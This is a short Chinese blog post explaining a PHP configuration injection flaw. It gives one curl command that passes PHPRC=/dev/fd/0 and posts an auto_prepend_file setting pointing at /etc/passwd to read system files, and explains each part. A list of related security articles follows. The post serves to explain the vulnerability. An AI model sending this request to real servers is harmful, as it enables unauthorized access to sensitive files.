【网络安全】PHP配置注入漏洞

未经许可,不得转载。

文章目录

正文

前提:通过探测等方式发现某个 PHP 文件存在 PHPRC 参数:

bash 复制代码
curl "https://xxx.com/about.php?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'

PHPRC 用于指定 PHP 配置文件(php.ini)的路径。通过将其设置为 /dev/fd/0,我们尝试让服务器从标准输入读取 PHP 配置。

--data-binary 参数以二进制格式发送数据,适合传递原始数据而非标准表单参数。

auto_prepend_file 是 PHP 配置选项,可以在执行脚本前自动包含指定文件。这里我们设置为 /etc/passwd,试图读取系统敏感信息。

漏洞证明如下:

相关推荐
Broken Arrows22 分钟前
Linux学习——管理网络安全(二十一)
linux·学习·web安全
爱隐身的官人2 小时前
cfshow-web入门-php特性
python·php·ctf
grrrr_12 小时前
【工具类】Nuclei YAML POC 编写以及批量检测
网络·安全·web安全
骥龙3 小时前
XX汽集团数字化转型:全生命周期网络安全、数据合规与AI工业物联网融合实践
人工智能·物联网·web安全
Suckerbin6 小时前
digitalworld.local: TORMENT
笔记·安全·web安全·网络安全
lingggggaaaa8 小时前
小迪安全v2023学习笔记(八十讲)—— 中间件安全&WPS分析&Weblogic&Jenkins&Jetty&CVE
笔记·学习·安全·web安全·网络安全·中间件·wps
北极光SD-WAN组网9 小时前
基于智能组网设备的港口网络安全闭环管控方案设计与实践
网络·安全·web安全
leo__52010 小时前
在Ubuntu 22.04系统中无需重启设置静态IP地址
tcp/ip·ubuntu·php
爱隐身的官人15 小时前
ctfshow - web - 命令执行漏洞总结(二)
php·命令执行
Suckerbin1 天前
LAMPSecurity: CTF5靶场渗透
笔记·安全·web安全·网络安全